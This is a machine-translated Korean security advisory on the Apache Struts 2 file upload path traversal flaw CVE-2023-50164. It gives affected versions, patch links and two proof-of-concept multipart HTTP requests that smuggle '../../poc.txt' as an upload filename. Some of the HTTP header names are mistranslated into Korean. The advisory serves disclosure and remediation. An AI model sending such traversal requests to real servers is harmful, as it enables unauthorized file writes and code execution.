취약점 설명:
아파치 스트럿츠2Java EE 웹 애플리케이션 개발을 위한 오픈 소스 웹 애플리케이션 아키텍처입니다. Java Servlet API를 활용 및 확장하고 개발자가 MVC 아키텍처를 채택하도록 권장합니다. Apache는 Struts 2 오픈 소스 웹 애플리케이션 프레임워크에 심각한 보안 결함이 있다는 보안 경고를 발표했습니다.원격 코드 실행. 취약점 번호는CVE-2023-50164, 결함에 뿌리를 둔 "파일 업로드 논리”, 이로 인해 승인되지 않은 결과가 발생할 수 있습니다.경로 순회, 악성 파일을 업로드하고 악용 시 임의 코드 실행을 달성합니다.
취약점의 영향:
2.5.0 <= 스트럿츠 <= 2.5.32
6.0.0 <= 스트럿츠 <= 6.3.0
취약점 증명:
POC 1:
——WebKitFormBoundary5WJ61X4PRwyYKlip
콘텐츠 처리: 양식 데이터; 이름="업로드"; 파일 이름="poc.txt"
콘텐츠 유형: 텍스트/일반
시험
——WebKitFormBoundary5WJ61X4PRwyYKlip
콘텐츠 처리: 양식 데이터; name="uploadFileName";
../../poc.txt
——WebKitFormBoundary5WJ61X4PRwyYKlip–
POC 2:
POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1
호스트: localhost:8080
Accept-Language: en-US,en;q=0.9
사용자 에이전트: Mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
콘텐츠 유형: multipart/form-data; 경계=—-WebKitFormBoundary5WJ61X4PRwyYKlip
캐시 제어: 최대 연령=0
수락: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.7
콘텐츠 길이: 593
——WebKitFormBoundary5WJ61X4PRwyYKlip
콘텐츠 처리: 양식 데이터; 이름="업로드"; 파일 이름="poc.txt"
콘텐츠 유형: 텍스트/일반
시험
——WebKitFormBoundary5WJ61X4PRwyYKlip–
버그 수정:
공식 업데이트 가능한 버전이 출시되었습니다. 사용자는 가능한 한 빨리 안전한 버전으로 업데이트하는 것이 좋습니다.
스트럿 >= 2.5.33
스트럿츠 >= 6.3.0.2
패치: https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7
인용하다:
https://cwiki.apache.org/confluence/display/WW/S2-066
https://github.com/apache/struts/compare/STRUTS_6_3_0…STRUTS_6_3_0_2#files_bucket
https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-스트럿츠2-파일 업로드 분석-S2-066/
최고 보안 책임자의 원본 기사, 복제할 경우 출처 표시: https://cncso.com/kr/아파치-스트럿츠2-html에서-발견된-새로운-중요-rce-취약점